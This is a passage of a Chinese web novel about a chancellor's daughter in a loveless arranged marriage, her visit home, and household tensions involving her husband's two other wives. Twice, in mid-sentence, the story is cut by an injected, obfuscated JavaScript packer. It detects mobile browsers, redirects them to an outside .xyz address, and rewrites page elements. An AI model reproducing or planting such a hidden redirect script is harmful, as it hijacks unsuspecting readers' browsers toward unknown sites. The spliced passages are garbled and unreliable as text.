高清辞刚走回自己的院子,就见小红正踮着脚在门口张望,见她回来,连忙迎上去:“小姐,您可算回来了!老夫人找您说什么了?没为难您吧?” 高清辞摇摇头,将手里的茶杯递给小红,径直走到桌边坐下,目光落在那盒刚买回来的首饰上:“没为难我,就是拉着我说了些家常,聊了聊小时候的事。” “聊家常?”小红皱着眉,语气带着几分怀疑,“老夫人之前对您可不热络,怎么突然对您这么好了?该不会是有什么别的心思吧?” 高清辞拿起那支玛瑙海棠簪,对着铜镜比划了一下,镜面里的女子眉眼清秀,簪子衬得她多了几分明艳,可眼底的落寞却藏不住。她轻轻放下簪子,声音轻得像叹息:“能有什么心思?不过是怕我回门时在爹面前说些不该说的,连累肖晨罢了。” 小红还想再说,却见高清辞摆了摆手:“别多想了,明天回门的东西都收拾好了吗?把那盒翡翠珠链包好,带给我娘;还有之前挑的那盒点心,也一并装上车,别漏了。” 小红见她不愿再提,只能应下,转身去收拾东西。高清辞独自坐在镜前,指尖轻轻摩挲着簪子上的花纹,心里满是复杂——她既盼着明天回门能让爹娘放心,又怕面对爹娘关切的目光,更怕自己忍不住,会泄露了在肖府受的委屈。 而另一边,肖晨陪着李傲雪和丁香在花园里待到夕阳西下,才送两人回房。刚走到回廊,就见管家阿成迎上来,低声说:“少爷,老夫人让您去前厅一趟。” 肖晨点点头,转身往前厅走。进了厅,见肖母正坐在桌边喝茶,神色比往常温和许多。他走上前,躬身道:“娘,您找我?” 肖母抬眼看他,放下茶杯,语气带着几分欣慰:“今天跟高小姐聊了聊,那孩子性子温吞,倒是个明事理的。明天她回门,你多上点心,别让她在娘家那边落了话柄。” 肖晨应下:“我知道,明天我会陪她一起去,礼品也都备好了。” 肖母满意地点点头,又叮嘱道:“你心里有傲雪和丁香,娘知道,可高小姐毕竟是明媒正娶的夫人,面上的功夫得做足。别总让她一个人孤零零的,免得高丞相又来找麻烦。” 肖晨沉默片刻,轻轻“嗯”了一声。他知道母亲是为了他好,可他心里清楚,对高清辞的这份“面上功夫”,终究是对她的另一种辜负——他给不了她想要的爱,只能用这种方式,尽量让她少受些委屈,也让自己心里的愧疚,能少一点。 肖母见他应下,也不再多言,挥挥手让他回房休息。肖晨走出前厅,望着天边渐渐沉下的夕阳,轻轻叹了口气——这场被强行捆绑的婚姻,到底还要让多少人受委屈,他不知道,只知道自己能做的,就是牢牢护住身边的人,不让她们再受伤害。 晚上用过晚膳,肖晨便径直去了李傲雪的院子。刚推开门,就见李傲雪正坐在窗边等他,手里还拿着半绣的帕子。见他进来,她连忙放下针线起身,脸上带着温柔的笑意:“少爷,你来了。” 肖晨点点头,走到桌边坐下。李傲雪上前,熟练地帮他解开外袍的玉带,指尖偶尔碰到他的肩头,都带着恰到好处的轻柔。等卸完外衣,两人并肩躺在床上,帐幔轻轻垂落,将外界的喧嚣都隔绝在外。 肖晨侧身看着李傲雪,指尖轻轻拂过她的脸颊,轻声说:“明天我要陪清辞回高府回门,可能要待大半天才能回来。” 李傲雪也侧过身,握住他的手,眼神里满是关切:“少爷去了那边,可得多留意些。高丞相前几日才来府里发过脾气,性子本就强硬,要是在回门时说些为难你的话,你别跟他硬争,免得吃亏。” 肖晨看着她担忧的模样,心里泛起暖意,俯身吻了吻她的额头,语气坚定又温柔:“我知道,你放心,我有分寸。不过是陪清辞走个过场,不会跟岳父起冲突的。等我回来,再好好陪你和丁香。” 李傲雪点点头,往他怀里靠了靠,声音带着几分安心:“有你这句话,我就不担心了。你明天路上小心,早去早回。” 肖晨收紧手臂,将她紧紧搂在怀里,鼻尖萦绕着她身上淡淡的熏香,心里满是安稳。他知道明天回门怕是少不了一场应酬,可只要想到回来能见到李傲雪和丁香,心里就多了几分底气。 两人静静相拥着,李傲雪指尖轻轻划过肖晨的手背,忽然想起什么,轻声道:“对了,我傍晚让厨房炖了些银耳羹,你睡前要不要喝一碗?最近天气燥,润润嗓子也好。” 肖晨摇摇头,将下巴抵在她发顶,声音带着几分慵懒:“不喝了,抱着你就觉得踏实,想早点歇着。” 李傲雪听着他沉稳的心跳,嘴角忍不住弯起,没再说话,只悄悄收紧了环在他腰上的手臂。帐内烛火渐暗,两人依偎着,没再多言,却自有一份安稳流转——这是属于他们两人的静谧时光,无关外界的纷争,也无关旁人的目光。 次日天刚亮,高清辞就起身梳妆。小红帮她挽了个规整的发髻,插上昨天买的玛瑙海棠簪,又换上一身正红色衣裙,衬得她面色红润了几分。刚收拾好,肖晨就来了,他穿着一身月白色锦袍,身姿挺拔,见了她便开口:“都准备好了?那我们走吧,别让岳父岳母等急了。” 高清辞点点头,跟着他往外走。管家早已备好了马车,车上堆着精心挑选的礼品——有给高丞相的字画,给高夫人的翡翠珠链,还有给家里小辈的点心匣子,样样都透着体面。 两人坐进马车,车厢里铺着柔软的锦垫,却没人说话,气氛有些沉闷。肖晨看着她垂着眼的模样,想开口说些什么,却又不知道该从何说起,只能默默看着窗外掠过的街景。 高清辞悄悄抬眼,瞥见他轮廓分明的侧脸,心里忽然泛起一丝紧张——她既盼着快点见到爹娘,又怕爹娘看出她在肖府的处境,更怕肖晨在爹娘面前露了破绽。 马车走了约莫半个时辰,终于停在高府门口。高府的管家早已候在门口,见他们下车,连忙笑着迎上来:“姑爷,小姐,丞相和夫人在里面等着呢!” 肖晨微微颔首,伸手想扶高清辞,却见她下意识地往后缩了缩,他的手僵在半空,又默默收回。高清辞也察觉到自己的反应不妥,连忙低下头,跟着管家往里走。 刚进前厅,就见高丞相和高夫人正坐在主位上。高清辞快步上前,屈膝行礼:“爹,娘。” 高丞相看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307158|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着女儿,目光扫过她身上的衣裙和发间的簪子,又看向一旁的肖晨,语气算不上热络:“回来了?坐吧。” 肖晨也上前见了礼,才在一旁坐下。丫鬟端上茶来,高夫人拉着高清辞的手,眼神里满是心疼:“辞儿,这几天在肖府过得怎么样?有没有人欺负你?” 高清辞连忙摇头,强装笑脸:“娘放心,肖府的人都待我很好,肖大人也很照顾我。” 她话音刚落,就见高丞相放下茶杯,目光锐利地看向肖晨:“肖晨,我女儿性子软,你是男人,该多让着她些。往后要是让我知道你冷落她,可别怪我不客气。” 肖晨迎着高丞相锐利的目光,语气诚恳:“岳父放心,往后我定会多照拂清辞,不会让她受委屈。” 高丞相盯着他看了片刻,见他神色坦荡,没有半分敷衍,脸色才缓和了些,对着管家吩咐:“去厨房说一声,中午多加几道拿手菜,好好招待姑爷。” 管家连忙应下,转身去了后厨。高夫人拉着高清辞的手,眼神里满是牵挂:“辞儿,跟娘回房聊聊,娘还有些话要问你。” 高清辞点点头,跟着母亲往内院走。进了房间,高夫人关上房门,才拉着她坐在床边,轻声问:“跟娘说实话,在肖府到底过得怎么样?肖晨那孩子,真的待你好吗?” 高清辞握着母亲的手,指尖微微发紧,却还是强装轻松:“娘,我真的过得很好。公公去外地做生意了,婆婆待我很敬重,前几天还特意找我聊天,说要跟我好好相处。肖晨的两位夫人也都和气,从来没对我有过半分刁难,府里的下人也都规矩,您别担心。” “真的?”高夫人还是有些不放心,“我听说肖晨心里早就有了人,你刚嫁过去,他没冷落你?” 高清辞垂下眼,避开母亲的目光,声音轻了些:“他……他就是公务忙了些,偶尔也会陪我吃饭。再说,我们刚成婚,日子还长,慢慢就好了。” 她不敢告诉母亲,肖晨夜里虽陪她睡在一处,却从未碰过她;也不敢说,他大多数时间都陪着李傲雪和丁香,连回门选首饰都是她自己去的。她怕母亲担心,更怕母亲去找肖晨理论,反倒让两家的关系更僵。 高夫人见女儿坚持这么说,又看她衣着光鲜,面色也还算红润,心里的担忧才少了些,轻轻拍了拍她的手:“你过得好就好。要是受了委屈,可别瞒着娘,咱们高家还护得住你。” 高清辞点点头,眼眶微微泛红,连忙别过脸,借着整理衣裙掩饰:“娘,我知道了。您放心,我会照顾好自己的。” 母女俩又聊了些家常,直到丫鬟来请,才一起往前厅走去。肖晨正陪着高丞相说话,见她们进来,便起身相迎。午饭时,高丞相的话多了些,偶尔还会问起肖晨在吏部的差事,气氛倒也算融洽。 高清辞看着眼前的景象,心里悄悄松了口气——至少这顿回门饭,没出什么岔子,也没让爹娘看出破绽。只是她不知道,这样的“融洽”,能维持多久。 午饭的最后一道甜汤刚撤下,高夫人就拉着高清辞的手,指尖轻轻摩挲着她的手背,眼神里满是不舍:“辞儿,往后在肖府要是闷了,就常回家里来看看。你爹虽然嘴硬,心里也记挂着你,家里永远有你的位置。” 高清辞鼻子一酸,连忙点头:“娘,我知道了,我会常回来的。” 高丞相坐在一旁,放下手里的茶盏,语气虽不如高夫人温和,却也带着关切:“有空就回来,家里的厨子还记着你爱吃的糖醋鱼,回来让他们给你做。” 肖晨适时开口,姿态恭敬又诚恳:“岳父岳母放心,往后我定会多抽时间,陪清辞回来看望二位。绝不会让她在肖府受了委屈,更不会让她孤单。” 这话像是一颗定心丸,让高丞相夫妇脸上的担忧彻底散去。高丞相看着肖晨,眼神里多了几分认可,他往前倾了倾身,声音压低了些,带着几分提点的意味:“你在吏部当差,凡事多留心。往后要是遇到难处,或是有需要我帮忙的地方,尽管跟我说——在吏部,我还能帮你关照几分。” 肖晨心里一凛,连忙起身拱手,语气郑重:“多谢岳父栽培!肖晨定当尽心尽责,在吏部好好做事,绝不辜负岳父的期望,也绝不丢高家的脸面。” 高丞相满意地点点头,抬手示意他坐下:“你是个聪明人,知道轻重就好。好好待我女儿,往后咱们两家就是一家人,互相扶持,才能走得长远。” 高夫人也跟着笑道:“是啊,一家人不说两家话。往后晨儿要是在府里待得闷了,也常来家里坐坐,娘给你做你爱吃的莲子羹。” 肖晨笑着应下,又陪着二老聊了些家常,从京城的政务聊到肖父在外的生意,气氛愈发融洽。高清辞坐在一旁,看着肖晨与父母谈笑风生的模样,心里悄悄松了口气——她没想到,这趟回门会这么顺利,更没想到肖晨会如此给她体面。 又待了约莫一个时辰,眼看日头偏西,肖晨才起身告辞:“岳父岳母,时候不早了,我们该回肖府了,免得家里长辈惦记。” 高丞相夫妇也不再挽留,高夫人亲自将高清辞送到门口,又塞给她一个锦盒,低声说:“这里面是娘给你准备的安神香,你要是在那边睡不着,就点上些。要是受了委屈,千万别憋着,随时让人回来说。” 高清辞接过锦盒,紧紧攥在手里,眼眶泛红:“娘,您别担心我,我会好好的。” 肖晨扶着高清辞上了马车,又转身对着高丞相夫妇拱手道别,才上车离去。马车缓缓驶动,高清辞掀开车帘,看着父母站在门口目送的身影,心里满是暖意——或许,这场被强行捆绑的婚姻,也并非全是苦涩。 马车驶离高府,车轮碾过青石板路,发出规律的“咕噜”声。高清辞将母亲给的锦盒抱在怀里,指尖轻轻摩挲着盒面,心里还残留着回门时的暖意。 肖晨坐在她对面,见她神色柔和,便开口道:“岳父岳母待你真好,往后要是想回来,随时跟我说。” 高清辞抬头看向他,眼里带着几分感激:“今天……谢谢你,替我在爹娘面前圆场,也让他们放心了。”若不是肖晨配合,爹娘未必会相信她过得好。 肖晨淡淡颔首:“应该的,你是我的妻子,维护你也是应该的。”他话说得坦诚,却没带太多情绪,高清辞心里清楚,这份“维护”更多是出于责任,而非情意,可即便如此,她也觉得足够了。 马车行到半途,肖晨忽然想起什么,对外面的车夫说:“先去前面的‘福记糕点铺’停一下。” 高清辞有些疑惑:“怎么突然要去糕点铺?” “之前听小红说,你爱吃他们家的桂花糕。”肖晨解释道,“正好路过,买些回去,你闲时可以当点心吃。” 高清辞心里一动,看着肖晨的侧脸,忽然觉得他似乎也没有那么冷漠。不多时,马车停下,肖晨下车去买了两盒桂花糕,回来时还顺带买了一小罐蜜饯,递给她:“这个也不错,酸甜口的,你试试。” 回到肖府时,天色已经擦黑。刚进府门,就见丁香站在廊下张望,见他们回来,连忙迎上来:“公子,高小姐,你们可算回来了!傲雪姐姐炖了汤,一直在等你们呢!” 肖晨点点头,对高清辞说:“你先回房歇着吧,路上也累了。桂花糕我让丫鬟给你送过去。” 高清辞应了声“好”,看着肖晨和丁香并肩往李傲雪的院子走去,两人说说笑笑,身影亲密。她心里泛起一丝失落,却很快压了下去——今天回门已经很顺利了,她不该贪心更多。 回到房间,小红早已等在门口,见她回来,连忙接过她手里的锦盒:“小姐,今天回门还顺利吗?老爷和夫人没说什么吧?” “很顺利,爹娘都很放心。”高清辞坐在桌边,看着丫鬟送来的桂花糕,拿起一块放进嘴里,清甜的桂花香在舌尖散开,心里也跟着暖了些。 小红见她神色不错,也松了口气:“顺利就好,姑爷今天总算靠谱了些,还知道给你买桂花糕。” 高清辞笑了笑,没再多说。她知道,肖晨今天的举动或许只是一时的客气,往后的日子大概率还是会像从前一样。可至少今天,她感受到了一丝暖意,也让爹娘放了心——或许,这样慢慢来,日子也能渐渐好过些。 81.你心里没点数吗? 肖晨走进李傲雪的房间时,她正站在桌边搅动着瓦罐里的汤,氤氲的热气模糊了她的眉眼,却衬得她愈发温婉。见他进来,李傲雪连忙放下汤勺,上前接过他脱下的外袍,顺手挂在衣架上,又递过一杯温茶:“少爷,先喝口茶暖暖身子,今天回门跑了大半天,累坏了吧?” 肖晨接过茶杯,坐在桌边,指尖摩挲着杯沿,语气带着几分复杂:“还好,就是陪岳父聊了些吏部的事,没什么累的。”他顿了顿,又补充道,“高丞相没为难我,清辞在旁边也很配合,帮着圆了不少话,没让场面冷下来。” 李傲雪端着刚盛好的汤走过来,放在他面前,轻声问:“那……高小姐心里,是不是还委屈着?” 肖晨看着碗里乳白的鸡汤,里面飘着几颗红枣,是他爱吃的模样,可心里却泛起一阵酸涩:“肯定委屈。她本是相府千金,要是当初嫁的是皇亲国戚,或是真心待她的人,哪用像现在这样,在府里看人脸色,连个真心待她的人都没有。”他抬眼看向李傲雪,眼神里满是无奈,“如今家里多了她这么个人,明明是我连累了她,却还要让她跟着我受这份罪。” 李傲雪坐在他身边,轻轻握住他的手,指尖带着暖意:“少爷别这么说,高小姐性子温和,也明事理,不会怪你的。往后我会多找她说话,跟她好好相处,不让她在府里觉得孤单。丁香那边我也会跟她说,咱们一起好好待她,尽量让她少受些委屈。” 肖晨看着她眼底的真诚,心里满是感动。他反手握住她的手,俯身吻了吻她的额头,又轻轻蹭过她的脸颊,声音带着几分沙哑:“真是辛苦你了。明明该是我护着你和丁香,却还要让你为这些事费心。” 李傲雪摇摇头,往他怀里靠了靠,鼻尖蹭过他的衣襟,声音柔软:“我不辛苦。只要少爷平安,咱们一家人能好好的,比什么都强。高小姐的事,咱们慢慢帮着周旋,总会好起来的。” 肖晨收紧手臂,将她紧紧搂在怀里,鼻尖萦绕着她身上淡淡的皂角香,心里的烦躁渐渐散去。他知道李傲雪说的“好起来”或许很难,但只要有她和丁香在身边,愿意陪着他一起面对这些麻烦,他就有勇气撑下去。 两人静静相拥着,瓦罐里的汤还在冒着热气,房间里满是温馨的气息。过了片刻,李傲雪才想起什么,推着他的胳膊笑道:“汤要凉了,快喝吧,我炖了一下午呢,补身子的。” 肖晨点点头,拿起汤勺喝了一口,温热的鸡汤滑进喉咙,暖了胃,也暖了心。 肖母在自己房里等了半个时辰,见丫鬟来报肖晨已回府且去了李傲雪院子,便扶着婆子的手,慢悠悠往那边走。刚到院门口,就听见屋内传来低低的说话声,她示意丫鬟不用通报,轻轻推开门——肖晨正坐在桌边喝汤,李傲雪站在一旁,手里拿着帕子,正替他擦去嘴角的汤汁,两人神色亲昵,满室温馨。 “娘。”肖晨抬头见是她,连忙放下汤勺起身。李傲雪也跟着行礼,语气恭敬:“娘,您怎么来了?快坐,我去给您倒杯茶。” 肖母摆摆手,在对面椅子上坐下,目光先扫过桌上的汤碗,才看向肖晨,开门见山:“今天去高府回门,一切都顺利吧?高丞相没给你脸色看,没说什么难听话?” “顺利,娘您放心。”肖晨坐下后,把回门的经过简要说了一遍——从高丞相的提点,到高夫人的叮嘱,连他主动买桂花糕的细节也提了两句,末了补充道,“清辞在旁边很配合,没让场面冷下来,岳父岳母最后也挺满意的。” 肖母悬着的心终于落了地,她轻轻拍了拍桌沿,语气带着几分告诫:“满意就好。你可得记着,高小姐毕竟是相府千金,身份不同,往后在府里得小心对待,该给的体面不能少。她要是心里不痛快,回高府在她爹面前说句闲话,咱们肖家可担不起后果,你在吏部的差事也会受影响。” “娘,我知道分寸。”肖晨点点头,语气诚恳,“我不会让她受委屈,也不会让她有机会在岳父面前说闲话,您放心。” 肖母见他心里有数,又叮嘱了李傲雪两句“好好照顾少爷,多劝着他些”,才起身离开。可她没回自己房,反倒绕了条路,往丁香的院子去——自高清辞嫁进来,她心里就憋着股气,总觉得是丁香和李傲雪占了主母的位置,如今见肖晨对高清辞多了几分“体面”,便想找个由头,敲打敲打最碍眼的丁香。 丁香的院子本就偏僻,此时她正坐在窗边绣帕子,听见院门口有动静,抬头就见肖母带着两个凶神恶煞的婆子走进来,心里顿时一紧,连忙起身迎上去,声音带着几分怯意:“母亲,您怎么来了?快……快坐。” 肖母却没理她,径直走到屋里,打量着桌上简单的摆设,眼神里满是嫌弃。待丫鬟关上门,她才转过身,目光像刀子似的刮过丁香,语气尖酸又刻薄:“贱蹄子,我问你,最近有没有在府里瞎晃悠,让高小姐撞见?” 丁香心里一慌,连忙摇头:“没有,母亲,我这几日都在院子里绣活,没怎么出去过……” “没出去过最好!”肖母打断她,声音陡然拔高,“我今天来,是警告你——如今高小姐在府里,你给我安分点!别以为你占了个妾的名分,就能跟高小姐平起平坐!你自己是什么货色,心里没点数吗?” 她上前一步,指着丁香的鼻子,字字诛心:“人家是金尊玉贵的相府千金,从小读诗书、明礼仪,你呢?不过是从花船里爬出来的妓女!要不是晨儿心软,你连肖府的大门都摸不着,还敢肖想跟主母比?” 丁香的脸瞬间变得惨白,指尖紧紧攥着衣角,指甲几乎嵌进肉里,眼泪在眼眶里打转,却不敢掉下来。 肖母见她这副模样,更是气不打一处来,语气愈发狠厉:“我告诉你,往后在府里,见了高小姐要躲着走,不许跟她说话,更不许在晨儿面前搬弄是非!要是你敢得罪高小姐,让她不痛快,进而影响了晨儿的差事和肖家的名声,我饶不了你!轻则把你发卖到庄子上,重则……你自己掂量着办!” 说完,肖母没再看丁香一眼,带着婆子摔门而去。房间里瞬间安静下来,丁香再也忍不住,蹲在地上,双手捂着脸,压抑的哭声渐渐传开——她知道自己出身低微,可她从未想过要跟高清辞争什么,只想安安静静陪在肖晨身边,可就连这样的愿望,在肖母眼里,都成了“不安分”。 第二天一早,肖府门口就热闹起来——一辆辆马车接连停下,穿着官服的官员们提着礼盒,笑容满面地往里走,说是来“庆贺肖大人新婚之喜”。肖晨刚到前厅,就见管家匆匆来报,说吏部、户部的几位同僚都到了,还有几位外放的官员特意从城郊赶过来。 他走进前厅,满屋子的官员立刻围上来,纷纷拱手道贺:“肖大人,恭喜恭喜!新婚燕尔,可得给我们沾沾喜气啊!”“这是一点薄礼,不成敬意,还望肖大人收下!” 肖晨看着众人手里琳琅满目的礼盒,心里清楚他们的心思——说是庆贺新婚,实则是冲着他背后的高丞相来的,想借着送礼拉近距离,为自己的前程铺路。他脸上堆着客气的笑,伸手拦住要递礼盒的官员:“各位大人的心意,肖晨心领了。只是新婚本是家事,怎好劳烦各位特意跑一趟?这些礼品,还请各位带回,实在是受不起。” “肖大人这就见外了!”一位穿着青色官服的官员连忙说道,“咱们同朝为官,您新婚这么大的事,我们来道贺是应该的。您要是不收这礼,就是看不起我们这些同僚啊!” 这话一出,其他官员也纷纷附和:“是啊肖大人,您可不能驳了我们的面子!”“这点心意而已,您就收下吧,不然我们心里不安啊!” 肖晨眉头微蹙——他知道这些人是故意用“看不起”来逼他接礼。若是执意不收,难免落个“清高自傲、不近人情”的名声,往后在朝堂上怕是要被孤立;可若是收下,又怕落下“收受贿赂”的话柄,更怕高丞相知道后误会他借机拉拢官员。 他沉吟片刻,脸上重新绽开笑容,对众人说道:“各位大人的心意,肖晨实在感激。只是府里规矩严,家父在外做生意时也常说,不可轻易收外人之礼。这样吧,礼品我就不收了,但今日备好的薄酒,还请各位大人留下来尝尝,咱们一起喝几杯,也算不辜负各位的好意,如何?” 这话既给了官员们台阶下,又没破例收礼,众人心里虽有些失望,却也不好再强求。一位年长的官员率先笑道:“肖大人果然懂规矩!好,那我们就留下来,陪肖大人喝几杯,沾沾喜气!” 其他官员也跟着应和,纷纷把礼盒交给身后的随从,热热闹闹地跟着肖晨往宴会厅走。肖晨走在前面,心里却暗自盘算——这些人今日来送礼,往后怕是还会有更多心思,得想个办法应付,既不得罪他们,也不能让自己陷进去。 到了宴会厅,丫鬟们很快摆上酒菜,肖晨起身举杯,语气诚恳:“今日多谢各位大人赏脸,肖晨先敬大家一杯!往后在朝堂上,还望各位大人多多指点,肖晨定当虚心学习!” 众人连忙举杯回应,宴会厅里的气氛渐渐热烈起来。肖晨一边应付着众人的敬酒,一边留意着每个人的神色,心里渐渐有了数——这些人里,有真心想结交的,也有纯粹想攀附的,往后与人相处,还得更谨慎些才行。 酒过三巡,宴会厅里的气氛愈发热闹。有几位官员借着酒意,开始旁敲侧击地打听高丞相的近况,言语间满是试探:“肖大人,您如今可是高丞相的女婿,不知丞相最近对朝堂上的盐铁新政,可有什么看法?” 肖晨握着酒杯的手顿了顿,脸上依旧挂着笑意,语气却带着几分疏离:“岳父平日里在家很少谈及公务,我也不便多问。不过依我看,新政是为了民生,只要能让百姓过得好,各位大人齐心协力推行便是,不必过度揣测上位者的心思。” 这话既没透露半点消息,又不得罪人,提问的官员听了,只能笑着打哈哈,不再追问。坐在一旁的吏部侍郎见状,连忙转移话题,说起了京城最近的新鲜事,才让气氛重新活络起来。 正热闹时,管家悄悄走到肖晨身边,低声道:“少爷,高小姐在廊下等您,说有话想跟您说。” 肖晨心里一动,起身对众人拱了拱手:“各位大人先慢用,我去去就回。”说完,便跟着管家往外走。 刚到廊下,就见高清辞站在柱子旁,手里拿着一件披风。见他过来,她连忙走上前,将披风递给他:“外面风大,你喝了酒,别着凉了。” 肖晨接过披风,心里泛起一丝暖意——他没想到,高清辞会特意在这里等他,还为他准备了披风。他轻声道:“谢谢你,怎么不在房里待着?” “我听见前院热闹,想着你可能会喝多,就取了件披风过来。”高清辞垂着眼,声音轻轻的,“里面还有几位官员没走吗?要不要我让厨房再备些醒酒汤?” “不用了,他们待不了多久。”肖晨看着她,忽然觉得之前对她的忽视,或许有些过分。他顿了顿,又道,“你要是觉得闷,也可以去前厅坐坐,跟各位夫人聊聊天。” 高清辞摇摇头:“不了,我待在房里就好,不打扰你应酬。你……你也少喝点酒,注意身体。”说完,她便转身往自己的院子走去,背影纤细又安静。 肖晨看着她的背影消失在拐角,才握紧手里的披风,转身回了宴会厅。刚坐下,就见那位之前打听新政的官员又凑过来,笑着说:“肖大人好福气啊,高小姐不仅貌美,还这么体贴,真是羡煞旁人!” 肖晨淡淡笑了笑,没接话,只是举杯跟众人碰了碰——他忽然明白,高清辞在这府里,或许比他想象中更孤单。往后就算没有情意,也该多给她些体面,让她在这府里,能过得自在些。 又应酬了约莫一个时辰,官员们才陆续告辞。肖晨送走最后一位客人,才松了口气,靠在椅子上揉了揉太阳穴。管家端来醒酒汤,他喝了几口,才觉得头晕好了些。 刚起身准备回房,就见李傲雪和丁香匆匆走来。李傲雪手里拿着醒酒的蜜饯,丁香则端着一碗热腾腾的粥,两人脸上满是关切:“少爷,你喝了多少酒?有没有不舒服?” 肖晨看着眼前的两人,心里满是安稳。他笑着摇摇头:“没事,就是有点累。你们怎么来了?” “听说前院客人多,怕你应付不来,就想着过来看看。”李傲雪把蜜饯递给她,“快吃点这个,能解解酒。丁香特意给你熬了小米粥,垫垫肚子,别空腹喝酒伤胃。” 肖晨接过蜜饯,又喝了半碗粥,胃里顿时舒服了不少。他拉着两人的手,轻声道:“让你们担心了,我没事。今天多亏了你们,还有……清辞,她也给我送了披风。” 李傲雪和丁香对视一眼,都从对方眼里看到了了然。李傲雪笑着说:“高小姐也是个心细的人,往后咱们多跟她处处,或许能成为朋友。” 肖晨点点头,心里忽然觉得,或许这个家,并不会像他当初担心的那样,充满矛盾。只要大家都多一份包容,少一份计较,日子总能慢慢好起来。 三人并肩往内院走,夜色渐浓,廊下的灯笼映得影子忽长忽短。丁香攥着肖晨的袖口,小声说:“公子,往后再有人来送礼,你别硬撑着应酬,要是累坏了身子,我和傲雪姐姐会担心的。” 肖晨低头看她,眼里带着笑意:“知道了,下次我会早点打发他们走,不让你们担心。” 快到李傲雪的院子时,远远望见高清辞的房门还亮着灯。肖晨脚步顿了顿,对两人说:“你们先回去,我去看看清辞。” 李傲雪会意,拉着丁香的手点点头:“去吧,我们在房里等你。” 肖晨走到高清辞的院门口,见小红正坐在廊下打盹,轻轻咳了一声。小红惊醒,见是他,连忙起身:“姑爷!您怎么来了?小姐在里面呢。” 他推门进去,见高清辞正坐在窗边看书,桌上摆着一盏孤灯,映得她侧脸格外安静。听到动静,高清辞抬头,见是他,连忙起身:“大人,您怎么来了?客人都走了吗?” “嗯,刚送走。”肖晨走到桌边坐下,目光落在她手里的书上,“这么晚了还没睡?” “想着你应酬回来可能会饿,让厨房温了些莲子羹,正等着给你送过去。”高清辞说着,就要去叫丫鬟。 肖晨连忙拦住她:“不用了,我刚喝了粥,不饿。倒是你,别总等着别人,自己该休息就休息。” 他顿了顿,看着她,语气比往常温和些:“今天谢谢你的披风,外面风大,要是冻着你,反倒不好了。” 高清辞没想到他会特意提这件事,脸颊微微泛红,轻声道:“举手之劳,大人不用放在心上。” 两人沉默了片刻,肖晨看着桌上的灯盏,忽然开口:“往后府里再有客人来,你要是愿意,也可以去前厅坐坐,不用总待在房里。跟各位夫人聊聊天,也能解解闷。” 高清辞愣了愣,随即轻轻点头:“好,我知道了。”她能感觉到肖晨的态度在慢慢软化,心里泛起一丝不易察觉的暖意——或许,她不用再像以前那样,总是一个人孤零零的。 肖晨又坐了一会儿,叮嘱她早点休息,才起身离开。走到门口时,他回头看了一眼,见高清辞还站在桌边望着他,眼神里带着几分茫然,又有几分期待。他心里轻轻叹了口气,转身走了出去。 回到李傲雪的院子,两人还在等他。见他回来,李傲雪连忙迎上来:“怎么样?高小姐没说什么吧?” “没什么,就是跟她聊了两句,让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319093|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别总待在房里。”肖晨坐下,拿起李傲雪递来的热茶,喝了一口,“她性子太静,在府里没什么朋友,往后咱们多跟她处处,别让她觉得孤单。” 丁香坐在他身边,点头道:“嗯!我明天就去找高小姐说话,跟她分享我新绣的帕子,说不定我们还能成为好朋友呢!” 肖晨看着两人真诚的模样,心里满是感激。他知道,有她们在,这个家就算有再多矛盾,也能慢慢变得温暖起来。夜色渐深,三人聊着天,房里的笑声轻轻传出,在寂静的夜里,格外温馨。 第二天一早,丁香吃过早饭,就揣着自己刚绣好的兰草帕子,兴冲冲往高清辞的院子走。刚到院门口,就见小红拦在前面,脸上带着几分警惕:“丁香姑娘,你先在这儿等会儿,我去问问我家小姐。” 丁香点点头,攥着帕子的手紧了紧,心里还有些期待——她想着昨天肖晨的话,也盼着能跟高清辞好好相处。 小红快步走进房间,见高清辞正坐在窗边描绣样,连忙开口:“小姐,丁香来了,说想找您说话。” 高清辞手里的针顿了顿,抬头道:“让她进来吧。” “小姐!”小红急了,上前一步,声音压低了些,“您忘了她是什么出身?她是从花船出来的妓女啊!前几天老夫人还当着下人的面骂她贱蹄子,奉茶的时候更是特意叮嘱您,不用跟她多来往。您可是相府千金,金尊玉贵的,怎么能让她进您的房间?这要是传出去,岂不是脏了您的地方,还损了您的颜面?” 高清辞放下绣绷,轻轻叹了口气:“出身又不是她能选的,她也没做错什么,何必用这种字眼说她。” “可老夫人不让您跟她接近,肯定是为您好啊!”小红越说越急,“那种地方出来的,都是会勾人的狐媚子,少爷就是被她和李傲雪迷了心!您要是跟她走得近,不仅失了自己的身份,京城里的那些贵女们知道了,还不得笑话您?说您连妓女都要巴结,到时候丢的可是咱们高家的脸!” 她见高清辞还在犹豫,又上前拉着她的手,语气带着恳求:“小姐,您就听我的吧!老夫人的告诫没错,您可不能糊涂啊!要是让老夫人知道您跟她来往,指不定又要生气,到时候连累了姑爷,您在府里的日子也不好过。” 高清辞看着小红急切的模样,又想起肖母那天对丁香的刻薄,心里终究软了几分。她知道小红是为了她好,也怕自己跟丁香来往,真的让肖母不满,反倒给肖晨添了麻烦。 沉默片刻,她轻轻点头:“知道了,那你出去跟她说,我今天身子有些乏,想歇会儿,让她改日再来吧。” 小红松了口气,连忙应下,转身往外走。到了院门口,她对着丁香勉强笑了笑:“我家小姐今天身子不舒服,想歇着,丁香姑娘要是有急事,就改日再来吧。” 